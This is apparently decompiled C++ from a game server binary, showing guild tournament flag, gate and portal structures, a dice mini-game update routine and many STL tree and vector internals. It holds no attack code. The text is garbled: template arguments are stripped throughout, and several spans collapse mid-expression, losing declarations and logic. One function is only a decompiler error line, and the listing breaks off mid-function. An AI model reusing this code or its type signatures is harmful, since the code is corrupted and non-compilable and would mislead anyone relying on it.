(00467F50) -------------------------------------------------------- bool __thiscall std::less_std::allocator>>::operator__(std::less,std::allocator > > *this, std::basic_string,std::allocator > *_Left, std::basic_string,std::allocator > *_Right) { const char *v3; // eax@2 if ( _Right->_Myres < 0x10 ) v3 = (const char *)&_Right->_Bx; else v3 = *(const char **)&_Right->_Bx._Buf[0]; return std::basic_string_std::allocator>::compare( _Left, 0, _Left->_Mysize, v3, _Right->_Mysize) < 0; } //----- (00467F90) -------------------------------------------------------- unsigned __int16 *__thiscall std::vector>::_Ufill(std::vector > *this, unsigned __int16 *_Ptr, unsigned int _Count, const unsigned __int16 *_Val) { unsigned __int16 *v4; // eax@1 unsigned int v5; // ecx@2 v4 = _Ptr; if ( _Count ) { v5 = _Count; do { *v4 = *_Val; ++v4; --v5; } while ( v5 ); } return &_Ptr[_Count]; } //----- (00467FC0) -------------------------------------------------------- std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Lbound(std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator > *_Keyval) { std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_Parent; _Wherenode = (std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_Isnil ) { v4 = _Keyval->_Mysize; v5 = (char *)&_Keyval->_Bx; v14 = _Keyval->_Myres; for ( _Keyvala = (char *)&_Keyval->_Bx; ; v5 = _Keyvala ) { if ( v14 < 0x10 ) v6 = v5; else v6 = *(const char **)v5; v7 = v3->_Myval.first._Mysize; if ( !v7 ) goto LABEL_23; v8 = v3->_Myval.first._Mysize; if ( v7 >= v4 ) v8 = v4; v9 = (const char *)(v3->_Myval.first._Myres < 0x10 ? &v3->_Myval.first._Bx : *(_DWORD *)&v3->_Myval.first._Bx._Buf[0]); v10 = strncmp(v9, v6, v8); v12 = 0; v11 = v10 < 0; if ( !v10 ) { LABEL_23: if ( v7 < v4 ) goto LABEL_17; v12 = 0; v11 = (v7 != v4) < 0; } if ( v11 ^ v12 ) { LABEL_17: v3 = v3->_Right; goto LABEL_19; } _Wherenode = v3; v3 = v3->_Left; LABEL_19: if ( v3->_Isnil ) return _Wherenode; } } return result; } //----- (00468080) -------------------------------------------------------- void __thiscall std::_Tree_nod_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Node::__Node(std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator >,int,std::less,std::allocator > >,std::allocator_Myval.first._Myres >= 0x10 ) operator delete(*(void **)&this->_Myval.first._Bx._Buf[0]); v1->_Myval.first._Myres = 15; v1->_Myval.first._Mysize = 0; v1->_Myval.first._Bx._Buf[0] = 0; } //----- (004680B0) -------------------------------------------------------- std::vector >::iterator *__cdecl std::_Upper_bound>::iterator_GuildTournamentSystem::GuildMemberInfo_int_bool____cdecl____GuildTournamentSystem::GuildMemberInfo_const___GuildTournamentSystem::GuildMemberInfo_const___>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, GuildTournamentSystem::GuildMemberInfo *_Val, bool (__cdecl *_Pred)(GuildTournamentSystem::GuildMemberInfo *, GuildTournamentSystem::GuildMemberInfo *), int *__formal) { std::vector >::iterator v6; // ebp@1 signed int v7; // edx@1 signed int v8; // ebx@1 std::vector >::iterator *v9; // eax@6 v6 = _First; v7 = (signed int)(*(_DWORD *)&_Last - *(_DWORD *)&_First + ((unsigned __int64)(-1840700269i64 * (*(_DWORD *)&_Last - *(_DWORD *)&_First)) >> 32)) >> 4; v8 = v7 + ((unsigned int)v7 >> 31); while ( v8 > 0 ) { if ( _Pred(_Val, (GuildTournamentSystem::GuildMemberInfo *)(*(_DWORD *)&v6 + 28 * v8 / 2)) ) { v8 /= 2; } else { *(_DWORD *)&v6 += 28 * v8 / 2 + 28; v8 += -1 - v8 / 2; } } v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6; return v9; } //----- (00468120) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n>(TOURNAMENT_PLAYER_SCORE *_First, unsigned int _Count, TOURNAMENT_PLAYER_SCORE *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { unsigned int v5; // edx@2 void *v6; // eax@2 if ( _Count ) { v5 = _Count; v6 = _First; do { if ( v6 ) memcpy(v6, _Val, 0x28u); v6 = (char *)v6 + 40; --v5; } while ( v5 ); } } //----- (00468150) -------------------------------------------------------- void __thiscall GuildTournamentSystem::FlagInfo::FlagInfo(GuildTournamentSystem::FlagInfo *this) { GuildTournamentSystem::FlagInfo *v1; // esi@1 v1 = this; this->m_strFlagAType._Myres = 15; this->m_strFlagAType._Mysize = 0; this->m_strFlagAType._Bx._Buf[0] = 0; this->m_strFlagBType._Myres = 15; this->m_strFlagBType._Mysize = 0; this->m_strFlagBType._Bx._Buf[0] = 0; this->m_strFlagNormalType._Myres = 15; this->m_strFlagNormalType._Mysize = 0; this->m_strFlagNormalType._Bx._Buf[0] = 0; TickTimer::TickTimer(&this->m_FlagScoreTimer); v1->m_PortalInfo.m_strAType._Myres = 15; v1->m_PortalInfo.m_strAType._Mysize = 0; v1->m_PortalInfo.m_strAType._Bx._Buf[0] = 0; v1->m_PortalInfo.m_strBType._Myres = 15; v1->m_PortalInfo.m_strBType._Mysize = 0; v1->m_PortalInfo.m_strBType._Bx._Buf[0] = 0; v1->m_PortalInfo.m_strNormalType._Myres = 15; v1->m_PortalInfo.m_strNormalType._Mysize = 0; v1->m_PortalInfo.m_strNormalType._Bx._Buf[0] = 0; } //----- (004681F0) -------------------------------------------------------- void __thiscall GuildTournamentSystem::FlagInfo::_FlagInfo(GuildTournamentSystem::FlagInfo *this) { GuildTournamentSystem::FlagInfo *v1; // esi@1 v1 = this; ShineObjectClass::ShineObject::LuaAi::_LuaAi(&this->m_PortalInfo); if ( v1->m_strFlagNormalType._Myres >= 0x10 ) operator delete(*(void **)&v1->m_strFlagNormalType._Bx._Buf[0]); v1->m_strFlagNormalType._Myres = 15; v1->m_strFlagNormalType._Mysize = 0; v1->m_strFlagNormalType._Bx._Buf[0] = 0; if ( v1->m_strFlagBType._Myres >= 0x10 ) operator delete(*(void **)&v1->m_strFlagBType._Bx._Buf[0]); v1->m_strFlagBType._Myres = 15; v1->m_strFlagBType._Mysize = 0; v1->m_strFlagBType._Bx._Buf[0] = 0; if ( v1->m_strFlagAType._Myres >= 0x10 ) operator delete(*(void **)&v1->m_strFlagAType._Bx._Buf[0]); v1->m_strFlagAType._Mysize = 0; v1->m_strFlagAType._Myres = 15; v1->m_strFlagAType._Bx._Buf[0] = 0; } //----- (00468260) -------------------------------------------------------- void __thiscall GuildTournamentSystem::Gate::_Gate(GuildTournamentSystem::Gate *this) { GuildTournamentSystem::Gate *v1; // esi@1 v1 = this; if ( this->strUseGateName._Myres >= 0x10 ) operator delete(*(void **)&this->strUseGateName._Bx._Buf[0]); v1->strUseGateName._Myres = 15; v1->strUseGateName._Mysize = 0; v1->strUseGateName._Bx._Buf[0] = 0; if ( v1->strunUseGateName._Myres >= 0x10 ) operator delete(*(void **)&v1->strunUseGateName._Bx._Buf[0]); v1->strunUseGateName._Mysize = 0; v1->strunUseGateName._Myres = 15; v1->strunUseGateName._Bx._Buf[0] = 0; } //----- (004682B0) -------------------------------------------------------- #error "4682B0: undefined or illegal type '#593' (funcsize=10)" //----- (004682D0) -------------------------------------------------------- void __thiscall DiceGame::Update(DiceGame *this, int nTick) { DiceGame *v2; // esi@1 TickTimer *v3; // edi@1 void *v4; // edi@5 char *v5; // eax@7 AxialListPacketBroadcast alchat; // [sp+8h] [bp-18h]@7 int v7; // [sp+1Ch] [bp-4h]@7 v2 = this; v3 = &this->m_nDelayTic; if ( CGambleObject::go_Get_MaxEnterPlayerCnt(&this->m_nDelayTic) ) { if ( TickTimer::CheckUpdateEvent(v3, nTick) ) { DiceGame::DiceThrow(v2, v2->m_RedPlayerNumber); DiceGame::DiceThrow(v2, v2->m_BluePlayerNumber); TickTimer::Enable(v3, 0); } if ( TickTimer::CheckUpdateEvent(&v2->m_NotifyOfEndTimer, nTick) ) { v4 = (void *)ShineObjectManager::som_FindPlayer(&shineobjmanager, v2->m_RedPlayerNumber); if ( v4 || (v4 = (void *)ShineObjectManager::som_FindPlayer(&shineobjmanager, v2->m_BluePlayerNumber)) != 0 ) { v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 29910; *(_DWORD *)(v5 + 2) = 5; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 6); v7 = 0; ShineObjectClass::ShineObject::so_AllInMap(v4, (int)&alchat, 1); TickTimer::Enable(&v2->m_NotifyOfEndTimer, 0); v7 = -1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } } } } //----- (004683D0) -------------------------------------------------------- GuildTournamentSystem::GuildMemberInfo *__thiscall std::vector>::_Ufill(std::vector > *this, GuildTournamentSystem::GuildMemberInfo *_Ptr, unsigned int _Count, GuildTournamentSystem::GuildMemberInfo *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (00468400) -------------------------------------------------------- int std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::find(...) { std::basic_string,std::allocator > *v3; // edi@1 std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Lbound( this, _Keyval); _Keyvala = (std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_Myval.first._Mysize, v5->_Myval.first._Myres < 0x10) ? (v7 = (const char *)&v5->_Myval.first._Bx) : (v7 = *(const char **)&v5->_Myval.first._Bx._Buf[0]), std::basic_string_std::allocator>::compare(v3, 0, v3->_Mysize, v7, v6) < 0) ) { v8 = result; *result = *((_DWORD *)v4 + 1); } else { v8 = result; *result = _Keyvala; } return v8; } //----- (00468470) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where) { GuildTournamentSystem::GuildMemberInfo *v3; // ebx@1 int v4; // eax@1 std::vector >::iterator v5; // edx@2 const void *v6; // esi@3 void *v7; // edi@3 std::vector >::iterator *v8; // eax@4 v3 = this->_Mylast; v4 = *(_DWORD *)&_Where + 28; if ( (GuildTournamentSystem::GuildMemberInfo *)(*(_DWORD *)&_Where + 28) != v3 ) { v5 = _Where; do { v6 = (const void *)v4; v7 = (void *)v5; v4 += 28; *(_DWORD *)&v5 += 28; memcpy(v7, v6, 0x1Cu); } while ( (GuildTournamentSystem::GuildMemberInfo *)v4 != v3 ); } --this->_Mylast; v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _Where; return v8; } //----- (004684C0) -------------------------------------------------------- void __thiscall GuildTournamentSystem::Gate::Gate(GuildTournamentSystem::Gate *this, GuildTournamentSystem::Gate *__that) { GuildTournamentSystem::Gate *v2; // esi@1 char *v3; // ecx@1 v2 = this; this->bIsUse = __that->bIsUse; this->hFlagNumber = __that->hFlagNumber; v3 = (char *)&this->strunUseGateName; v2->hGateNumber = __that->hGateNumber; *((_DWORD *)v3 + 6) = 15; *((_DWORD *)v3 + 5) = 0; v3[4] = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)v3, &__that->strunUseGateName, 0, 0xFFFFFFFFu); v2->strUseGateName._Myres = 15; v2->strUseGateName._Mysize = 0; v2->strUseGateName._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &v2->strUseGateName, &__that->strUseGateName, 0, 0xFFFFFFFFu); } //----- (00468550) -------------------------------------------------------- void __thiscall GuildTournamentSystem::PortalInfo::PortalInfo(GuildTournamentSystem::PortalInfo *this, GuildTournamentSystem::PortalInfo *__that) { GuildTournamentSystem::PortalInfo *v2; // esi@1 char *v3; // ecx@1 v2 = this; v3 = (char *)&this->m_strAType; v2->m_Handle = __that->m_Handle; *((_DWORD *)v3 + 6) = 15; *((_DWORD *)v3 + 5) = 0; v3[4] = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)v3, &__that->m_strAType, 0, 0xFFFFFFFFu); v2->m_strBType._Myres = 15; v2->m_strBType._Mysize = 0; v2->m_strBType._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &v2->m_strBType, &__that->m_strBType, 0, 0xFFFFFFFFu); v2->m_strNormalType._Myres = 15; v2->m_strNormalType._Mysize = 0; v2->m_strNormalType._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &v2->m_strNormalType, &__that->m_strNormalType, 0, 0xFFFFFFFFu); } //----- (004685F0) -------------------------------------------------------- void __cdecl std::_Construct(GuildTournamentSystem::AdvanMobItemRegenInfo *_Ptr, GuildTournamentSystem::AdvanMobItemRegenInfo *_Val) { if ( _Ptr ) { *(_QWORD *)&_Ptr->mapName.n3_name[0] = *(_QWORD *)&_Val->mapName.n3_name[0]; *(_DWORD *)&_Ptr->mapName.n3_name[8] = *(_DWORD *)&_Val->mapName.n3_name[8]; _Ptr->strGroupName._Myres = 15; _Ptr->strGroupName._Mysize = 0; _Ptr->strGroupName._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &_Ptr->strGroupName, &_Val->strGroupName, 0, 0xFFFFFFFFu); _Ptr->AdvanIndex = _Val->AdvanIndex; } } //----- (00468670) -------------------------------------------------------- void __thiscall std::vector>::_Xran(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &thisa, "invalid vector subscript", 0x1Bu); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } // 689C04: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (004686E0) -------------------------------------------------------- std::_Tree,std::allocator >,0> >::iterator *__thiscall std::_Tree_std::allocator>_0>>::_Insert(std::_Tree,std::allocator >,0> > *this, std::_Tree,std::allocator >,0> >::iterator *result, bool _Addleft, std::_Tree_nod,std::allocator >,0> >::_Node *_Wherenode, std::pair *_Val) { std::_Tree,std::allocator >,0> > *v5; // edi@1 std::_Tree_nod,std::allocator >,0> >::_Node *v6; // ecx@4 std::_Tree_nod,std::allocator >,0> >::_Node *v7; // eax@4 std::_Tree_nod,std::allocator >,0> >::_Node *v8; // eax@7 std::_Tree_nod,std::allocator >,0> >::_Node *v9; // eax@9 int v10; // eax@11 std::_Tree_nod,std::allocator >,0> >::_Node *v11; // esi@11 int v12; // ecx@12 int v13; // ebp@12 int v14; // edx@12 std::_Tree,std::allocator >,0> >::iterator *v15; // eax@24 std::basic_string,std::allocator > thisa; // [sp+8h] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+24h] [bp-34h]@2 int v18; // [sp+54h] [bp-4h]@2 std::_Tree_nod,std::allocator >,0> >::_Node *_Vala; // [sp+68h] [bp+10h]@4 v5 = this; if ( this->_Mysize >= 0x1FFFFFFE ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "map/set too long", 0x13u); v18 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } v6 = std::_Tree_std::allocator>_1>>::_Buynode( (std::_Tree,std::allocator >,0> > *)this, (std::_Tree_nod,std::allocator >,0> >::_Node *)this->_Myhead, (std::_Tree_nod,std::allocator >,0> >::_Node *)_Wherenode, (std::_Tree_nod,std::allocator >,0> >::_Node *)this->_Myhead, (std::pair *)_Val, 0); v7 = v5->_Myhead; _Vala = v6; ++v5->_Mysize; if ( _Wherenode == v7 ) { v7->_Parent = (std::_Tree_nod,std::allocator >,0> >::_Node *)v6; v5->_Myhead->_Left = (std::_Tree_nod,std::allocator >,0> >::_Node *)v6; v5->_Myhead->_Right = (std::_Tree_nod,std::allocator >,0> >::_Node *)v6; } else { if ( _Addleft ) { _Wherenode->_Left = (std::_Tree_nod,std::allocator >,0> >::_Node *)v6; v8 = v5->_Myhead; if ( _Wherenode == v8->_Left ) v8->_Left = (std::_Tree_nod,std::allocator >,0> >::_Node *)v6; } else { _Wherenode->_Right = (std::_Tree_nod,std::allocator >,0> >::_Node *)v6; v9 = v5->_Myhead; if ( _Wherenode == v9->_Right ) v9->_Right = (std::_Tree_nod,std::allocator >,0> >::_Node *)v6; } } v10 = (int)&v6->_Parent; v11 = v6; if ( !v6->_Parent->_Color ) { while ( 1 ) { v12 = *(_DWORD *)v10; v13 = *(_DWORD *)(*(_DWORD *)v10 + 4); v14 = *(_DWORD *)v13; if ( *(_DWORD *)v10 == *(_DWORD *)v13 ) { v14 = *(_DWORD *)(v13 + 8); if ( *(_BYTE *)(v14 + 20) ) { if ( v11 == *(std::_Tree_nod,std::allocator >,0> >::_Node **)(v12 + 8) ) { v11 = *(std::_Tree_nod,std::allocator >,0> >::_Node **)v10; std::_Tree_std::allocator>_1>>::_Lrotate( (std::_Tree,std::allocator >,0> > *)v5, *(std::_Tree_nod,std::allocator >,0> >::_Node **)v10); } v11->_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator>_1>>::_Rrotate( (std::_Tree,std::allocator >,0> > *)v5, v11->_Parent->_Parent); goto LABEL_22; } } else { if ( *(_BYTE *)(v14 + 20) ) { if ( v11 == *(std::_Tree_nod,std::allocator >,0> >::_Node **)v12 ) { v11 = *(std::_Tree_nod,std::allocator >,0> >::_Node **)v10; std::_Tree_std::allocator>_1>>::_Rrotate( (std::_Tree,std::allocator >,0> > *)v5, *(std::_Tree_nod,std::allocator >,0> >::_Node **)v10); } v11->_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator>_1>>::_Lrotate( (std::_Tree,std::allocator >,0> > *)v5, v11->_Parent->_Parent); goto LABEL_22; } } *(_BYTE *)(*(_DWORD *)v10 + 20) = 1; *(_BYTE *)(v14 + 20) = 1; *(_BYTE *)(*(_DWORD *)(*(_DWORD *)v10 + 4) + 20) = 0; v11 = *(std::_Tree_nod,std::allocator >,0> >::_Node **)(*(_DWORD *)v10 + 4); LABEL_22: v10 = (int)&v11->_Parent; if ( v11->_Parent->_Color ) { v6 = _Vala; break; } } } v15 = result; v5->_Myhead->_Parent->_Color = 1; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6; return v15; } // 689BF8: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00468890) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 689BF8: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00468900) -------------------------------------------------------- void __thiscall GuildTournamentSystem::FlagInfo::FlagInfo(GuildTournamentSystem::FlagInfo *this, GuildTournamentSystem::FlagInfo *__that) { GuildTournamentSystem::FlagInfo *v2; // esi@1 char *v3; // ecx@1 v2 = this; this->m_GuildNumber = __that->m_GuildNumber; this->m_ObjectNumber = __that->m_ObjectNumber; v3 = (char *)&this->m_strFlagAType; *((_DWORD *)v3 + 6) = 15; *((_DWORD *)v3 + 5) = 0; v3[4] = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)v3, &__that->m_strFlagAType, 0, 0xFFFFFFFFu); v2->m_strFlagBType._Myres = 15; v2->m_strFlagBType._Mysize = 0; v2->m_strFlagBType._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &v2->m_strFlagBType, &__that->m_strFlagBType, 0, 0xFFFFFFFFu); v2->m_strFlagNormalType._Myres = 15; v2->m_strFlagNormalType._Mysize = 0; v2->m_strFlagNormalType._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &v2->m_strFlagNormalType, &__that->m_strFlagNormalType, 0, 0xFFFFFFFFu); v2->m_FlagScoreTimer.m_CurDelayTime = __that->m_FlagScoreTimer.m_CurDelayTime; v2->m_FlagScoreTimer.m_DelayTime = __that->m_FlagScoreTimer.m_DelayTime; *(_DWORD *)&v2->m_FlagScoreTimer.m_bEnable = *(_DWORD *)&__that->m_FlagScoreTimer.m_bEnable; GuildTournamentSystem::PortalInfo::PortalInfo(&v2->m_PortalInfo, &__that->m_PortalInfo); } //----- (004689D0) -------------------------------------------------------- std::_Tree,std::allocator >,0> >::iterator *__thiscall std::_Tree_std::allocator>_0>>::erase(std::_Tree,std::allocator >,0> > *this, std::_Tree,std::allocator >,0> >::iterator *result, std::_Tree,std::allocator >,0> >::iterator _Where) { std::_Tree,std::allocator >,0> > *v3; // ebp@1 std::_Tree,std::allocator >,0> >::iterator v4; // ebx@4 std::_Tree,std::allocator >,0> >::iterator v5; // edi@5 std::_Tree,std::allocator >,0> >::iterator v6; // ecx@8 std::_Tree,std::allocator >,0> >::iterator v7; // esi@9 std::_Tree_nod,std::allocator >,0> >::_Node *v8; // eax@11 std::_Tree_nod,std::allocator >,0> >::_Node *v9; // ebx@16 std::_Tree_nod,std::allocator >,0> >::_Node *v10; // eax@18 std::_Tree_nod,std::allocator >,0> >::_Node *v11; // ebx@21 std::_Tree_nod,std::allocator >,0> >::_Node *v12; // eax@30 int v13; // eax@32 char v14; // al@35 int v15; // eax@39 bool v16; // zf@54 unsigned int v17; // eax@60 std::_Tree,std::allocator >,0> >::iterator *v18; // eax@62 std::_Tree,std::allocator >,0> >::iterator _Erasednode; // [sp+8h] [bp-54h]@4 std::basic_string,std::allocator > thisa; // [sp+Ch] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+28h] [bp-34h]@2 int v22; // [sp+58h] [bp-4h]@2 v3 = this; if ( *(_BYTE *)(*(_DWORD *)&_Where + 21) ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &thisa, "invalid map/set iterator", 0x1Bu); v22 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } v4 = _Where; _Erasednode = _Where; std::_Tree_std::allocator>_0>>::const_iterator::_Inc((std::_Tree,std::allocator >,0> >::const_iterator *)&_Where); if ( *(_BYTE *)(**(_DWORD **)&v4 + 21) ) { v5 = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&v4 + 8); LABEL_9: v7 = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&v4 + 4); if ( !*(_BYTE *)(*(_DWORD *)&v5 + 21) ) *(_DWORD *)(*(_DWORD *)&v5 + 4) = v7; v8 = v3->_Myhead; if ( v8->_Parent == (std::_Tree_nod,std::allocator >,0> >::_Node *)v4 ) { v8->_Parent = (std::_Tree_nod,std::allocator >,0> >::_Node *)v5; } else { if ( **(_DWORD **)&v7 == v4 ) **(_DWORD **)&v7 = v5; else *(_DWORD *)(*(_DWORD *)&v7 + 8) = v5; } v9 = v3->_Myhead; if ( v9->_Left == (std::_Tree_nod,std::allocator >,0> >::_Node *)_Erasednode ) { if ( *(_BYTE *)(*(_DWORD *)&v5 + 21) ) v10 = (std::_Tree_nod,std::allocator >,0> >::_Node *)v7; else v10 = std::_Tree_std::allocator>_1>>::_Min(*(std::_Tree_nod,std::allocator >,0> >::_Node **)&v5); v9->_Left = (std::_Tree_nod,std::allocator >,0> >::_Node *)v10; } v11 = v3->_Myhead; if ( v11->_Right == (std::_Tree_nod,std::allocator >,0> >::_Node *)_Erasednode ) { if ( *(_BYTE *)(*(_DWORD *)&v5 + 21) ) v11->_Right = (std::_Tree_nod,std::allocator >,0> >::_Node *)v7; else v11->_Right = (std::_Tree_nod,std::allocator >,0> >::_Node *)std::_Tree_std::allocator>_1>>::_Max(*(std::_Tree_nod,std::allocator >,0> >::_Node **)&v5); } goto LABEL_36; } if ( *(_BYTE *)(*(_DWORD *)(*(_DWORD *)&v4 + 8) + 21) ) { v5 = (std::_Tree,std::allocator >,0> >::iterator)**(_DWORD **)&v4; goto LABEL_9; } v6 = _Where; v5 = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&_Where + 8); if ( _Where == v4 ) goto LABEL_9; *(_DWORD *)(**(_DWORD **)&v4 + 4) = _Where; **(_DWORD **)&v6 = **(_DWORD **)&v4; if ( v6 == *(_DWORD *)(*(_DWORD *)&v4 + 8) ) { v7 = v6; } else { v7 = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&v6 + 4); if ( !*(_BYTE *)(*(_DWORD *)&v5 + 21) ) *(_DWORD *)(*(_DWORD *)&v5 + 4) = v7; **(_DWORD **)&v7 = v5; *(_DWORD *)(*(_DWORD *)&v6 + 8) = *(_DWORD *)(*(_DWORD *)&v4 + 8); *(_DWORD *)(*(_DWORD *)(*(_DWORD *)&v4 + 8) + 4) = v6; } v12 = v3->_Myhead; if ( v12->_Parent == (std::_Tree_nod,std::allocator >,0> >::_Node *)v4 ) { v12->_Parent = (std::_Tree_nod,std::allocator >,0> >::_Node *)v6; } else { v13 = *(_DWORD *)(*(_DWORD *)&v4 + 4); if ( *(_DWORD *)v13 == v4 ) *(_DWORD *)v13 = v6; else *(_DWORD *)(v13 + 8) = v6; } *(_DWORD *)(*(_DWORD *)&v6 + 4) = *(_DWORD *)(*(_DWORD *)&v4 + 4); v14 = *(_BYTE *)(*(_DWORD *)&v6 + 20); *(_BYTE *)(*(_DWORD *)&v6 + 20) = *(_BYTE *)(*(_DWORD *)&v4 + 20); *(_BYTE *)(*(_DWORD *)&v4 + 20) = v14; LABEL_36: if ( *(_BYTE *)(*(_DWORD *)&_Erasednode + 20) == 1 ) { if ( (std::_Tree_nod,std::allocator >,0> >::_Node *)v5 != v3->_Myhead->_Parent ) { do { if ( *(_BYTE *)(*(_DWORD *)&v5 + 20) != 1 ) break; v15 = **(_DWORD **)&v7; if ( v5 == **(_DWORD **)&v7 ) { v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); if ( !*(_BYTE *)(v15 + 20) ) { *(_BYTE *)(v15 + 20) = 1; *(_BYTE *)(*(_DWORD *)&v7 + 20) = 0; std::_Tree_std::allocator>_1>>::_Lrotate( (std::_Tree,std::allocator >,0> > *)v3, *(std::_Tree_nod,std::allocator >,0> >::_Node **)&v7); v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); } if ( *(_BYTE *)(v15 + 21) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)v15 + 20) != 1 || *(_BYTE *)(*(_DWORD *)(v15 + 8) + 20) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)(v15 + 8) + 20) == 1 ) { *(_BYTE *)(*(_DWORD *)v15 + 20) = 1; *(_BYTE *)(v15 + 20) = 0; std::_Tree_std::allocator>_1>>::_Rrotate( (std::_Tree,std::allocator >,0> > *)v3, (std::_Tree_nod,std::allocator >,0> >::_Node *)v15); v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); } *(_BYTE *)(v15 + 20) = *(_BYTE *)(*(_DWORD *)&v7 + 20); *(_BYTE *)(*(_DWORD *)&v7 + 20) = 1; *(_BYTE *)(*(_DWORD *)(v15 + 8) + 20) = 1; std::_Tree_std::allocator>_1>>::_Lrotate( (std::_Tree,std::allocator >,0> > *)v3, *(std::_Tree_nod,std::allocator >,0> >::_Node **)&v7); break; } } else { if ( !*(_BYTE *)(v15 + 20) ) { *(_BYTE *)(v15 + 20) = 1; *(_BYTE *)(*(_DWORD *)&v7 + 20) = 0; 